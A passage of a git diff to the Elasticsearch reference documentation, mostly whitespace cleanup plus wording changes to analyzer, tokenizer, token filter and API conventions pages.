customised <>. @@ -34,7 +38,7 @@ The `custom` analyzer accepts the following parameters: When indexing an array of text values, Elasticsearch inserts a fake "gap" between the last term of one value and the first term of the next value to ensure that a phrase query doesn't match two terms from different array - elements. Defaults to `100`. See <> for more. + elements. Defaults to `100`. See <> for more. [discrete] === Example configuration @@ -81,10 +85,8 @@ POST my-index-000001/_analyze } -------------------------------- -<1> Setting `type` to `custom` tells Elasticsearch that we are defining a custom analyzer. - Compare this to how <>: - `type` will be set to the name of the built-in analyzer, like - <> or <>. +<1> For `custom` analyzers, use a `type` of `custom` or omit the `type` +parameter. ///////////////////// @@ -161,7 +163,6 @@ PUT my-index-000001 "analysis": { "analyzer": { "my_custom_analyzer": { <1> - "type": "custom", "char_filter": [ "emoticons" ], @@ -206,7 +207,7 @@ POST my-index-000001/_analyze <1> Assigns the index a default custom analyzer, `my_custom_analyzer`. This analyzer uses a custom tokenizer, character filter, and token filter that -are defined later in the request. +are defined later in the request. This analyzer also omits the `type` parameter. <2> Defines the custom `punctuation` tokenizer. <3> Defines the custom `emoticons` character filter. <4> Defines the custom `english_stop` token filter. diff --git a/docs/reference/analysis/analyzers/fingerprint-analyzer.asciidoc b/docs/reference/analysis/analyzers/fingerprint-analyzer.asciidoc index f66acb452c419..9c6fc89a1c988 100644 --- a/docs/reference/analysis/analyzers/fingerprint-analyzer.asciidoc +++ b/docs/reference/analysis/analyzers/fingerprint-analyzer.asciidoc @@ -9,7 +9,7 @@ https://github.com/OpenRefine/OpenRefine/wiki/Clustering-In-Depth#fingerprint[fi which is used by the OpenRefine project to assist in clustering. Input text is lowercased, normalized to remove extended characters, sorted, -deduplicated and concatenated into a single token. If a stopword list is +deduplicated and concatenated into a single token. If a stopword list is configured, stop words will also be removed. [discrete] @@ -59,17 +59,17 @@ The `fingerprint` analyzer accepts the following parameters: [horizontal] `separator`:: - The character to use to concatenate the terms. Defaults to a space. + The character to use to concatenate the terms. Defaults to a space. `max_output_size`:: - The maximum token size to emit. Defaults to `255`. Tokens larger than + The maximum token size to emit. Defaults to `255`. Tokens larger than this size will be discarded. `stopwords`:: - A pre-defined stop words list like `_english_` or an array containing a - list of stop words. Defaults to `_none_`. + A pre-defined stop words list like `_english_` or an array containing a + list of stop words. Defaults to `_none_`. `stopwords_path`:: diff --git a/docs/reference/analysis/analyzers/lang-analyzer.asciidoc b/docs/reference/analysis/analyzers/lang-analyzer.asciidoc index e6c08fe4da174..45cb725492f07 100644 --- a/docs/reference/analysis/analyzers/lang-analyzer.asciidoc +++ b/docs/reference/analysis/analyzers/lang-analyzer.asciidoc @@ -55,7 +55,7 @@ more details. ===== Excluding words from stemming The `stem_exclusion` parameter allows you to specify an array -of lowercase words that should not be stemmed. Internally, this +of lowercase words that should not be stemmed. Internally, this functionality is implemented by adding the <> with the `keywords` set to the value of the `stem_exclusion` parameter. @@ -427,7 +427,7 @@ PUT /catalan_example ===== `cjk` analyzer NOTE: You may find that `icu_analyzer` in the ICU analysis plugin works better -for CJK text than the `cjk` analyzer. Experiment with your text and queries. +for CJK text than the `cjk` analyzer. Experiment with your text and queries. The `cjk` analyzer could be reimplemented as a `custom` analyzer as follows: diff --git a/docs/reference/analysis/analyzers/pattern-analyzer.asciidoc b/docs/reference/analysis/analyzers/pattern-analyzer.asciidoc index 7327cee996f36..92c293795a3d2 100644 --- a/docs/reference/analysis/analyzers/pattern-analyzer.asciidoc +++ b/docs/reference/analysis/analyzers/pattern-analyzer.asciidoc @@ -159,8 +159,8 @@ The `pattern` analyzer accepts the following parameters: `stopwords`:: - A pre-defined stop words list like `_english_` or an array containing a - list of stop words. Defaults to `_none_`. + A pre-defined stop words list like `_english_` or an array containing a + list of stop words. Defaults to `_none_`. `stopwords_path`:: diff --git a/docs/reference/analysis/analyzers/standard-analyzer.asciidoc b/docs/reference/analysis/analyzers/standard-analyzer.asciidoc index 459d10983418d..ea079b8718181 100644 --- a/docs/reference/analysis/analyzers/standard-analyzer.asciidoc +++ b/docs/reference/analysis/analyzers/standard-analyzer.asciidoc @@ -132,8 +132,8 @@ The `standard` analyzer accepts the following parameters: `stopwords`:: - A pre-defined stop words list like `_english_` or an array containing a - list of stop words. Defaults to `_none_`. + A pre-defined stop words list like `_english_` or an array containing a + list of stop words. Defaults to `_none_`. `stopwords_path`:: diff --git a/docs/reference/analysis/analyzers/stop-analyzer.asciidoc b/docs/reference/analysis/analyzers/stop-analyzer.asciidoc index 5dc65268c7b72..0a156cca1add6 100644 --- a/docs/reference/analysis/analyzers/stop-analyzer.asciidoc +++ b/docs/reference/analysis/analyzers/stop-analyzer.asciidoc @@ -5,7 +5,7 @@ ++++ The `stop` analyzer is the same as the <> -but adds support for removing stop words. It defaults to using the +but adds support for removing stop words. It defaults to using the `_english_` stop words. [discrete] @@ -111,8 +111,8 @@ The `stop` analyzer accepts the following parameters: [horizontal] `stopwords`:: - A pre-defined stop words list like `_english_` or an array containing a - list of stop words. Defaults to `_english_`. + A pre-defined stop words list like `_english_` or an array containing a + list of stop words. Defaults to `_english_`. `stopwords_path`:: diff --git a/docs/reference/analysis/anatomy.asciidoc b/docs/reference/analysis/anatomy.asciidoc index 22e7ffda667d4..f01a22ec4e6ee 100644 --- a/docs/reference/analysis/anatomy.asciidoc +++ b/docs/reference/analysis/anatomy.asciidoc @@ -14,7 +14,7 @@ combined to define new <> analyzers. ==== Character filters A _character filter_ receives the original text as a stream of characters and -can transform the stream by adding, removing, or changing characters. For +can transform the stream by adding, removing, or changing characters. For instance, a character filter could be used to convert Hindu-Arabic numerals (٠‎١٢٣٤٥٦٧٨‎٩‎) into their Arabic-Latin equivalents (0123456789), or to strip HTML elements like `` from the stream. @@ -25,10 +25,10 @@ which are applied in order. [[analyzer-anatomy-tokenizer]] ==== Tokenizer -A _tokenizer_ receives a stream of characters, breaks it up into individual +A _tokenizer_ receives a stream of characters, breaks it up into individual _tokens_ (usually individual words), and outputs a stream of _tokens_. For instance, a <> tokenizer breaks -text into tokens whenever it sees any whitespace. It would convert the text +text into tokens whenever it sees any whitespace. It would convert the text `"Quick brown fox!"` into the terms `[Quick, brown, fox!]`. The tokenizer is also responsible for recording the order or _position_ of @@ -41,7 +41,7 @@ An analyzer must have *exactly one* <>. ==== Token filters A _token filter_ receives the token stream and may add, remove, or change -tokens. For example, a <> token +tokens. For example, a <> token filter converts all tokens to lowercase, a <> token filter removes common words (_stop words_) like `the` from the token stream, and a diff --git a/docs/reference/analysis/charfilters.asciidoc b/docs/reference/analysis/charfilters.asciidoc index 97fe4fd266b3b..93054cf8e618b 100644 --- a/docs/reference/analysis/charfilters.asciidoc +++ b/docs/reference/analysis/charfilters.asciidoc @@ -5,7 +5,7 @@ _Character filters_ are used to preprocess the stream of characters before it is passed to the <>. A character filter receives the original text as a stream of characters and -can transform the stream by adding, removing, or changing characters. For +can transform the stream by adding, removing, or changing characters. For instance, a character filter could be used to convert Hindu-Arabic numerals (٠‎١٢٣٤٥٦٧٨‎٩‎) into their Arabic-Latin equivalents (0123456789), or to strip HTML elements like `` from the stream. diff --git a/docs/reference/analysis/charfilters/mapping-charfilter.asciidoc b/docs/reference/analysis/charfilters/mapping-charfilter.asciidoc index b1f2f0900dcb7..ecb73164e6a91 100644 --- a/docs/reference/analysis/charfilters/mapping-charfilter.asciidoc +++ b/docs/reference/analysis/charfilters/mapping-charfilter.asciidoc @@ -4,7 +4,7 @@ Mapping ++++ -The `mapping` character filter accepts a map of keys and values. Whenever it +The `mapping` character filter accepts a map of keys and values. Whenever it encounters a string of characters that is the same as a key, it replaces them with the value associated with that key. diff --git a/docs/reference/analysis/token-graphs.asciidoc b/docs/reference/analysis/token-graphs.asciidoc index dfd700176c99c..9881afe908eb7 100644 --- a/docs/reference/analysis/token-graphs.asciidoc +++ b/docs/reference/analysis/token-graphs.asciidoc @@ -40,7 +40,7 @@ record the `positionLength` for multi-position tokens. This filters include: * <> Some tokenizers, such as the -{plugin}/analysis-nori-tokenizer.html[`nori_tokenizer`], also accurately +{plugins}/analysis-nori-tokenizer.html[`nori_tokenizer`], also accurately decompose compound tokens into multi-position tokens. In the following graph, `domain name system` and its synonym, `dns`, both have a diff --git a/docs/reference/analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc index 4fd7164e82d58..ca7ced2239811 100644 --- a/docs/reference/analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc +++ b/docs/reference/analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc @@ -158,7 +158,7 @@ Possible values: All non-CJK input is passed through unmodified. -- -`output_unigrams` +`output_unigrams`:: (Optional, Boolean) If `true`, emit tokens in both bigram and {wikipedia}/N-gram[unigram] form. If `false`, a CJK character diff --git a/docs/reference/analysis/tokenfilters/condition-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/condition-tokenfilter.asciidoc index a33a41e85a8b3..2bf3aa116984e 100644 --- a/docs/reference/analysis/tokenfilters/condition-tokenfilter.asciidoc +++ b/docs/reference/analysis/tokenfilters/condition-tokenfilter.asciidoc @@ -102,7 +102,7 @@ Predicate script used to apply token filters. If a token matches this script, the filters in the `filter` parameter are applied to the token. -For valid parameters, see <<_script_parameters>>. Only inline scripts are +For valid parameters, see <>. Only inline scripts are supported. Painless scripts are executed in the {painless}/painless-analysis-predicate-context.html[analysis predicate context] and require a `token` property. @@ -145,4 +145,4 @@ PUT /palindrome_list } } } --------------------------------------------------- \ No newline at end of file +-------------------------------------------------- diff --git a/docs/reference/analysis/tokenfilters/elision-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/elision-tokenfilter.asciidoc index 3d6d629886c39..a1e9a5d9ea151 100644 --- a/docs/reference/analysis/tokenfilters/elision-tokenfilter.asciidoc +++ b/docs/reference/analysis/tokenfilters/elision-tokenfilter.asciidoc @@ -147,8 +147,8 @@ specified. `articles_case`:: (Optional, Boolean) -If `true`, the filter treats any provided elisions as case sensitive. -Defaults to `false`. +If `true`, elision matching is case insensitive. If `false`, elision matching is +case sensitive. Defaults to `false`. [[analysis-elision-tokenfilter-customize]] ==== Customize @@ -157,24 +157,24 @@ To customize the `elision` filter, duplicate it to create the basis for a new custom token filter. You can modify the filter using its configurable parameters. -For example, the following request creates a custom case-sensitive `elision` +For example, the following request creates a custom case-insensitive `elision` filter that removes the `l'`, `m'`, `t'`, `qu'`, `n'`, `s'`, and `j'` elisions: [source,console] -------------------------------------------------- -PUT /elision_case_sensitive_example +PUT /elision_case_insensitive_example { "settings": { "analysis": { "analyzer": { "default": { "tokenizer": "whitespace", - "filter": [ "elision_case_sensitive" ] + "filter": [ "elision_case_insensitive" ] } }, "filter": { - "elision_case_sensitive": { + "elision_case_insensitive": { "type": "elision", "articles": [ "l", "m", "t", "qu", "n", "s", "j" ], "articles_case": true diff --git a/docs/reference/analysis/tokenfilters/multiplexer-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/multiplexer-tokenfilter.asciidoc index 178f42d3b9fe1..7c0014e17010f 100644 --- a/docs/reference/analysis/tokenfilters/multiplexer-tokenfilter.asciidoc +++ b/docs/reference/analysis/tokenfilters/multiplexer-tokenfilter.asciidoc @@ -5,7 +5,7 @@ ++++ A token filter of type `multiplexer` will emit multiple tokens at the same position, -each version of the token having been run through a different filter. Identical +each version of the token having been run through a different filter. Identical output tokens at the same position will be removed. WARNING: If the incoming token stream has duplicate tokens, then these will also be @@ -14,8 +14,8 @@ removed by the multiplexer [discrete] === Options [horizontal] -filters:: a list of token filters to apply to incoming tokens. These can be any - token filters defined elsewhere in the index mappings. Filters can be chained +filters:: a list of token filters to apply to incoming tokens. These can be any + token filters defined elsewhere in the index mappings. Filters can be chained using a comma-delimited string, so for example `"lowercase, porter_stem"` would apply the `lowercase` filter and then the `porter_stem` filter to a single token. diff --git a/docs/reference/analysis/tokenfilters/stop-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/stop-tokenfilter.asciidoc index 3f47b04046694..01405af098ea7 100644 --- a/docs/reference/analysis/tokenfilters/stop-tokenfilter.asciidoc +++ b/docs/reference/analysis/tokenfilters/stop-tokenfilter.asciidoc @@ -282,11 +282,11 @@ parameter and a link to their predefined stop words in Lucene. [[english-stop-words]] `_english_`:: -https://github.com/apache/lucene-solr/blob/master/lucene/analysis/common/src/java/org/apache/lucene/analysis/en/EnglishAnalyzer.java#L46[English stop words] +{lucene-gh-main-link}/analysis/common/src/java/org/apache/lucene/analysis/en/EnglishAnalyzer.java#L48[English stop words] [[estonian-stop-words]] `_estonian_`:: -https://github.com/apache/lucene-solr/blob/master/lucene/analysis/common/src/resources/org/apache/lucene/analysis/et/stopwords.txt[Estonian stop words] +{lucene-stop-word-link}/et/stopwords.txt[Estonian stop words] [[finnish-stop-words]] `_finnish_`:: diff --git a/docs/reference/analysis/tokenfilters/synonym-graph-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/synonym-graph-tokenfilter.asciidoc index bc288fbf720ed..bb53a9d718749 100644 --- a/docs/reference/analysis/tokenfilters/synonym-graph-tokenfilter.asciidoc +++ b/docs/reference/analysis/tokenfilters/synonym-graph-tokenfilter.asciidoc @@ -8,14 +8,14 @@ The `synonym_graph` token filter allows to easily handle synonyms, including multi-word synonyms correctly during the analysis process. In order to properly handle multi-word synonyms this token filter -creates a <> during processing. For more +creates a <> during processing. For more information on this topic and its various complexities, please read the http://blog.mikemccandless.com/2012/04/lucenes-tokenstreams-are-actually.html[Lucene's TokenStreams are actually graphs] blog post. ["NOTE",id="synonym-graph-index-note"] =============================== This token filter is designed to be used as part of a search analyzer -only. If you want to apply synonyms during indexing please use the +only. If you want to apply synonyms during indexing please use the standard <>. =============================== @@ -179,13 +179,13 @@ as well. ==== Parsing synonym files Elasticsearch will use the token filters preceding the synonym filter -in a tokenizer chain to parse the entries in a synonym file. So, for example, if a +in a tokenizer chain to parse the entries in a synonym file. So, for example, if a synonym filter is placed after a stemmer, then the stemmer will also be applied -to the synonym entries. Because entries in the synonym map cannot have stacked -positions, some token filters may cause issues here. Token filters that produce +to the synonym entries. Because entries in the synonym map cannot have stacked +positions, some token filters may cause issues here. Token filters that produce multiple versions of a token may choose which version of the token to emit when parsing synonyms, e.g. `asciifolding` will only produce the folded version of the -token. Others, e.g. `multiplexer`, `word_delimiter_graph` or `ngram` will throw an +token. Others, e.g. `multiplexer`, `word_delimiter_graph` or `ngram` will throw an error. If you need to build analyzers that include both multi-token filters and synonym diff --git a/docs/reference/analysis/tokenfilters/synonym-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/synonym-tokenfilter.asciidoc index 77cf7f371dfda..525885c940bc6 100644 --- a/docs/reference/analysis/tokenfilters/synonym-tokenfilter.asciidoc +++ b/docs/reference/analysis/tokenfilters/synonym-tokenfilter.asciidoc @@ -170,13 +170,13 @@ as well. === Parsing synonym files Elasticsearch will use the token filters preceding the synonym filter -in a tokenizer chain to parse the entries in a synonym file. So, for example, if a +in a tokenizer chain to parse the entries in a synonym file. So, for example, if a synonym filter is placed after a stemmer, then the stemmer will also be applied -to the synonym entries. Because entries in the synonym map cannot have stacked -positions, some token filters may cause issues here. Token filters that produce +to the synonym entries. Because entries in the synonym map cannot have stacked +positions, some token filters may cause issues here. Token filters that produce multiple versions of a token may choose which version of the token to emit when parsing synonyms, e.g. `asciifolding` will only produce the folded version of the -token. Others, e.g. `multiplexer`, `word_delimiter_graph` or `ngram` will throw an +token. Others, e.g. `multiplexer`, `word_delimiter_graph` or `ngram` will throw an error. If you need to build analyzers that include both multi-token filters and synonym diff --git a/docs/reference/analysis/tokenizers.asciidoc b/docs/reference/analysis/tokenizers.asciidoc index fa47c05e3a006..38e4ebfcabc39 100644 --- a/docs/reference/analysis/tokenizers.asciidoc +++ b/docs/reference/analysis/tokenizers.asciidoc @@ -1,10 +1,10 @@ [[analysis-tokenizers]] == Tokenizer reference -A _tokenizer_ receives a stream of characters, breaks it up into individual +A _tokenizer_ receives a stream of characters, breaks it up into individual _tokens_ (usually individual words), and outputs a stream of _tokens_. For instance, a <> tokenizer breaks -text into tokens whenever it sees any whitespace. It would convert the text +text into tokens whenever it sees any whitespace. It would convert the text `"Quick brown fox!"` into the terms `[Quick, brown, fox!]`. The tokenizer is also responsible for recording the following: @@ -90,7 +90,7 @@ text: <>:: The `keyword` tokenizer is a ``noop'' tokenizer that accepts whatever text it -is given and outputs the exact same text as a single term. It can be combined +is given and outputs the exact same text as a single term. It can be combined with token filters like <> to normalise the analysed terms. diff --git a/docs/reference/analysis/tokenizers/edgengram-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/edgengram-tokenizer.asciidoc index 74b5e7d4434c5..030732b997340 100644 --- a/docs/reference/analysis/tokenizers/edgengram-tokenizer.asciidoc +++ b/docs/reference/analysis/tokenizers/edgengram-tokenizer.asciidoc @@ -14,7 +14,7 @@ Edge N-Grams are useful for _search-as-you-type_ queries. TIP: When you need _search-as-you-type_ for text which has a widely known order, such as movie or song titles, the <> is a much more efficient -choice than edge N-grams. Edge N-grams have the advantage when trying to +choice than edge N-grams. Edge N-grams have the advantage when trying to autocomplete words that can appear in any order. [discrete] @@ -67,7 +67,7 @@ The above sentence would produce the following terms: [ Q, Qu ] --------------------------- -NOTE: These default gram lengths are almost entirely useless. You need to +NOTE: These default gram lengths are almost entirely useless. You need to configure the `edge_ngram` before using it. [discrete] @@ -76,19 +76,19 @@ configure the `edge_ngram` before using it. The `edge_ngram` tokenizer accepts the following parameters: `min_gram`:: - Minimum length of characters in a gram. Defaults to `1`. + Minimum length of characters in a gram. Defaults to `1`. `max_gram`:: + -- -Maximum length of characters in a gram. Defaults to `2`. +Maximum length of characters in a gram. Defaults to `2`. See <>. -- `token_chars`:: - Character classes that should be included in a token. Elasticsearch + Character classes that should be included in a token. Elasticsearch will split on characters that don't belong to the classes specified. Defaults to `[]` (keep all characters). + @@ -106,7 +106,7 @@ Character classes may be any of the following: Custom characters that should be treated as part of a token. For example, setting this to `+-_` will make the tokenizer treat the plus, minus and - underscore sign as part of a token. + underscore sign as part of a token. [discrete] [[max-gram-limits]] diff --git a/docs/reference/analysis/tokenizers/keyword-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/keyword-tokenizer.asciidoc index c4ee77458d83b..53782f1907baf 100644 --- a/docs/reference/analysis/tokenizers/keyword-tokenizer.asciidoc +++ b/docs/reference/analysis/tokenizers/keyword-tokenizer.asciidoc @@ -4,8 +4,8 @@ Keyword ++++ -The `keyword` tokenizer is a ``noop'' tokenizer that accepts whatever text it -is given and outputs the exact same text as a single term. It can be combined +The `keyword` tokenizer is a ``noop'' tokenizer that accepts whatever text it +is given and outputs the exact same text as a single term. It can be combined with token filters to normalise output, e.g. lower-casing email addresses. [discrete] @@ -104,6 +104,6 @@ The `keyword` tokenizer accepts the following parameters: `buffer_size`:: The number of characters read into the term buffer in a single pass. - Defaults to `256`. The term buffer will grow by this size until all the - text has been consumed. It is advisable not to change this setting. + Defaults to `256`. The term buffer will grow by this size until all the + text has been consumed. It is advisable not to change this setting. diff --git a/docs/reference/analysis/tokenizers/lowercase-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/lowercase-tokenizer.asciidoc index ffe44292c52bc..5a38313fb5d94 100644 --- a/docs/reference/analysis/tokenizers/lowercase-tokenizer.asciidoc +++ b/docs/reference/analysis/tokenizers/lowercase-tokenizer.asciidoc @@ -7,7 +7,7 @@ The `lowercase` tokenizer, like the <> breaks text into terms whenever it encounters a character which is not a letter, but it also -lowercases all terms. It is functionally equivalent to the +lowercases all terms. It is functionally equivalent to the <> combined with the <>, but is more efficient as it performs both steps in a single pass. diff --git a/docs/reference/analysis/tokenizers/ngram-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/ngram-tokenizer.asciidoc index cd7f2fb7c74ed..0c244734a4839 100644 --- a/docs/reference/analysis/tokenizers/ngram-tokenizer.asciidoc +++ b/docs/reference/analysis/tokenizers/ngram-tokenizer.asciidoc @@ -175,14 +175,14 @@ The `ngram` tokenizer accepts the following parameters: [horizontal] `min_gram`:: - Minimum length of characters in a gram. Defaults to `1`. + Minimum length of characters in a gram. Defaults to `1`. `max_gram`:: - Maximum length of characters in a gram. Defaults to `2`. + Maximum length of characters in a gram. Defaults to `2`. `token_chars`:: - Character classes that should be included in a token. Elasticsearch + Character classes that should be included in a token. Elasticsearch will split on characters that don't belong to the classes specified. Defaults to `[]` (keep all characters). + @@ -200,12 +200,12 @@ Character classes may be any of the following: Custom characters that should be treated as part of a token. For example, setting this to `+-_` will make the tokenizer treat the plus, minus and - underscore sign as part of a token. + underscore sign as part of a token. TIP: It usually makes sense to set `min_gram` and `max_gram` to the same -value. The smaller the length, the more documents will match but the lower -the quality of the matches. The longer the length, the more specific the -matches. A tri-gram (length `3`) is a good place to start. +value. The smaller the length, the more documents will match but the lower +the quality of the matches. The longer the length, the more specific the +matches. A tri-gram (length `3`) is a good place to start. The index level setting `index.max_ngram_diff` controls the maximum allowed difference between `max_gram` and `min_gram`. diff --git a/docs/reference/analysis/tokenizers/pathhierarchy-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/pathhierarchy-tokenizer.asciidoc index 321d33d6f7ce9..293ee15d8f450 100644 --- a/docs/reference/analysis/tokenizers/pathhierarchy-tokenizer.asciidoc +++ b/docs/reference/analysis/tokenizers/pathhierarchy-tokenizer.asciidoc @@ -69,7 +69,7 @@ The `path_hierarchy` tokenizer accepts the following parameters: [horizontal] `delimiter`:: - The character to use as the path separator. Defaults to `/`. + The character to use as the path separator. Defaults to `/`. `replacement`:: An optional replacement character to use for the delimiter. @@ -77,20 +77,20 @@ The `path_hierarchy` tokenizer accepts the following parameters: `buffer_size`:: The number of characters read into the term buffer in a single pass. - Defaults to `1024`. The term buffer will grow by this size until all the - text has been consumed. It is advisable not to change this setting. + Defaults to `1024`. The term buffer will grow by this size until all the + text has been consumed. It is advisable not to change this setting. `reverse`:: - If set to `true`, emits the tokens in reverse order. Defaults to `false`. + If set to `true`, emits the tokens in reverse order. Defaults to `false`. `skip`:: - The number of initial tokens to skip. Defaults to `0`. + The number of initial tokens to skip. Defaults to `0`. [discrete] === Example configuration In this example, we configure the `path_hierarchy` tokenizer to split on `-` -characters, and to replace them with `/`. The first two tokens are skipped: +characters, and to replace them with `/`. The first two tokens are skipped: [source,console] ---------------------------- diff --git a/docs/reference/analysis/tokenizers/pattern-tokenizer.asciidoc b/docs/reference/analysis/tokenizers/pattern-tokenizer.asciidoc index 112ba92bf599a..75866dff7430d 100644 --- a/docs/reference/analysis/tokenizers/pattern-tokenizer.asciidoc +++ b/docs/reference/analysis/tokenizers/pattern-tokenizer.asciidoc @@ -116,7 +116,7 @@ The `pattern` tokenizer accepts the following parameters: `group`:: - Which capture group to extract as tokens. Defaults to `-1` (split). + Which capture group to extract as tokens. Defaults to `-1` (split). [discrete] === Example configuration @@ -194,7 +194,7 @@ The above example produces the following terms: --------------------------- In the next example, we configure the `pattern` tokenizer to capture values -enclosed in double quotes (ignoring embedded escaped quotes `\"`). The regex +enclosed in double quotes (ignoring embedded escaped quotes `\"`). The regex itself looks like this: "((?:\\"|[^"]|\\")*)" diff --git a/docs/reference/api-conventions.asciidoc b/docs/reference/api-conventions.asciidoc index f34f2e816887b..c382a7deec36a 100644 --- a/docs/reference/api-conventions.asciidoc +++ b/docs/reference/api-conventions.asciidoc @@ -1,7 +1,7 @@ [[api-conventions]] == API conventions -The *Elasticsearch* REST APIs are exposed using JSON over HTTP. +The {es} REST APIs are exposed over HTTP. The conventions listed in this chapter can be applied throughout the REST API, unless otherwise specified. @@ -19,17 +19,17 @@ Most APIs that accept a ``, ``, or `` request path parameter also support _multi-target syntax_. In multi-target syntax, you can use a comma-separated list to run a request on -multiple resources, such as data streams, indices, or index aliases: +multiple resources, such as data streams, indices, or aliases: `test1,test2,test3`. You can also use {wikipedia}/Glob_(programming)[glob-like] wildcard (`*`) expressions to target resources that match a pattern: `test*` or `*test` or `te*t` or `*test*`. You can exclude targets using the `-` character: `test*,-test3`. -IMPORTANT: Index aliases are resolved after wildcard expressions. This can -result in a request that targets an excluded alias. For example, if `test3` is -an index alias, the pattern `test*,-test3` still targets the indices for -`test3`. To avoid this, exclude the concrete indices for the alias instead. +IMPORTANT: Aliases are resolved after wildcard expressions. This can result in a +request that targets an excluded alias. For example, if `test3` is an index +alias, the pattern `test*,-test3` still targets the indices for `test3`. To +avoid this, exclude the concrete indices for the alias instead. Multi-target APIs that can target indices support the following query string parameters: @@ -47,21 +47,19 @@ string parameter: include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=ignore_throttled] -NOTE: Single index APIs, such as the <> and -<>, do not support multi-target -syntax. +NOTE: APIs with a single target, such as the <>, do +not support multi-target syntax. -[[hidden-indices]] +[[hidden]] ==== Hidden data streams and indices For most APIs, wildcard expressions do not match hidden data streams and indices by default. To match hidden data streams and indices using a wildcard expression, you must specify the `expand_wildcards` query parameter. -You can create hidden data streams by setting -<> to `true` in the stream's matching -index template. You can hide indices using the <> -index setting. +You can create hidden data streams by setting `data_stream.hidden` to `true` in +the stream's matching <>. You can hide +indices using the <> index setting. The backing indices for data streams are hidden automatically. Some features, such as {ml}, store information in hidden indices. @@ -79,19 +77,17 @@ IMPORTANT: Direct access to system indices is deprecated and will no longer be allowed in the next major version. [[date-math-index-names]] -=== Date math support in index names +=== Date math support in index and index alias names -Date math index name resolution enables you to search a range of time series indices, rather -than searching all of your time series indices and filtering the results or maintaining aliases. -Limiting the number of indices that are searched reduces the load on the cluster and improves -execution performance. For example, if you are searching for errors in your -daily logs, you can use a date math name template to restrict the search to the past -two days. +Date math name resolution lets you to search a range of time series indices or +index aliases rather than searching all of your indices and filtering the +results. Limiting the number of searched indices reduces cluster load and +improves search performance. For example, if you are searching for errors in +your daily logs, you can use a date math name template to restrict the search to +the past two days. -Almost all APIs that have an `index` parameter support date math in the `index` parameter -value. - -A date math index name takes the following form: +Most APIs that accept an index or index alias argument support date math. A date +math name takes the following form: [source,txt] ---------------------------------------------------------------------- @@ -101,10 +97,10 @@ A date math index name takes the following form: Where: [horizontal] -`static_name`:: is the static text part of the name -`date_math_expr`:: is a dynamic date math expression that computes the date dynamically -`date_format`:: is the optional format in which the computed date should be rendered. Defaults to `yyyy.MM.dd`. Format should be compatible with java-time https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html -`time_zone`:: is the optional time zone. Defaults to `utc`. +`static_name`:: Static text +`date_math_expr`:: Dynamic date math expression that computes the date dynamically +`date_format`:: Optional format in which the computed date should be rendered. Defaults to `yyyy.MM.dd`. Format should be compatible with java-time https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html +`time_zone`:: Optional time zone. Defaults to `UTC`. NOTE: Pay attention to the usage of small vs capital letters used in the `date_format`. For example: `mm` denotes minute of hour, while `MM` denotes month of year. Similarly `hh` denotes the hour in the @@ -113,8 +109,8 @@ NOTE: Pay attention to the usage of small vs capital letters used in the `date_f Date math expressions are resolved locale-independent. Consequently, it is not possible to use any other calendars than the Gregorian calendar. -You must enclose date math index name expressions within angle brackets, and -all special characters should be URI encoded. For example: +You must enclose date math names in angle brackets. If you use the name in a +request path, special characters must be URI encoded. For example: [source,console] ---- @@ -139,8 +135,8 @@ The special characters used for date rounding must be URI encoded as follows: `,`:: `%2C` ====================================================== -The following example shows different forms of date math index names and the final index names -they resolve to given the current time is 22nd March 2024 noon utc. +The following example shows different forms of date math names and the final names +they resolve to given the current time is 22nd March 2024 noon UTC. [options="header"] |====== @@ -152,7 +148,7 @@ they resolve to given the current time is 22nd March 2024 noon utc. | `` | `logstash-2024.03.23` |====== -To use the characters `{` and `}` in the static part of an index name template, escape them +To use the characters `{` and `}` in the static part of a name template, escape them with a backslash `\`, for example: * `` resolves to `elastic{ON}-2024.03.01` @@ -201,7 +197,7 @@ Statistics are returned in a format suitable for humans The human readable values can be turned off by adding `?human=false` to the query string. This makes sense when the stats results are being consumed by a monitoring tool, rather than intended for human -consumption. The default for the `human` flag is +consumption. The default for the `human` flag is `false`. [[date-math]] @@ -501,7 +497,7 @@ of supporting the native JSON number types. ==== Time units Whenever durations need to be specified, e.g. for a `timeout` parameter, the duration must specify -the unit, like `2d` for 2 days. The supported units are: +the unit, like `2d` for 2 days. The supported units are: [horizontal] `d`:: Days @@ -685,7 +681,7 @@ should also be passed with a media type value that indicates the format of the source, such as `application/json`. [discrete] -==== Content-Type Requirements +==== Content-type requirements The type of the content sent in a request body must be specified using the `Content-Type` header. The value of this header must map to one of @@ -693,9 +689,11 @@ the supported formats that the API supports. Most APIs support JSON, YAML, CBOR, and SMILE. The bulk and multi-search APIs support NDJSON, JSON, and SMILE; other types will result in an error response. -Additionally, when using the `source` query string parameter, the -content type must be specified using the `source_content_type` query -string parameter. +When using the `source` query string parameter, the content type must be +specified using the `source_content_type` query string parameter. + +{es} only supports UTF-8-encoded JSON. {es} ignores any other encoding headings +sent with a request. Responses are also UTF-8 encoded. [[url-access-control]] === URL-based access control diff --git a/docs/reference/autoscaling/apis/autoscaling-apis.asciidoc b/docs/reference/autoscaling/apis/autoscaling-apis.asciidoc index 22ff05317a4ed..8e43c5419033c 100644 --- a/docs/reference/autoscaling/apis/autoscaling-apis.asciidoc +++ b/docs/reference/autoscaling/apis/autoscaling-apis.asciidoc @@ -3,7 +3,7 @@ [[autoscaling-apis]] == Autoscaling APIs -include::../autoscaling-designed-for-note.asciidoc[] +NOTE: {cloud-only} You can use the following APIs to perform autoscaling operations. @@ -12,12 +12,13 @@ You can use the following APIs to perform autoscaling operations. === Top-Level * <> +* <> * <> * <> -* <> // top-level +include::put-autoscaling-policy.asciidoc[] include::get-autoscaling-capacity.asciidoc[] 